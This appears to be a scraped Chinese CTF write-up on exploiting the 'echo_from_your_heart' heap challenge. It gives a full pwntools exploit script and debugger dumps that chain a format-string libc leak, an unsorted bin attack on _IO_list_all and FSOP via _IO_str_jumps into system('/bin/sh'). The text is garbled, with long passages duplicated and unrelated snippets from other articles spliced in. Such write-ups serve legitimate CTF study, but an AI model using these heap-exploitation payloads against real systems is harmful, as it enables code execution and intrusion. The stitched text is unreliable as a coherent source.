victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时):
经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值
_IO_list_all
main_arena+88
单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时):
pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 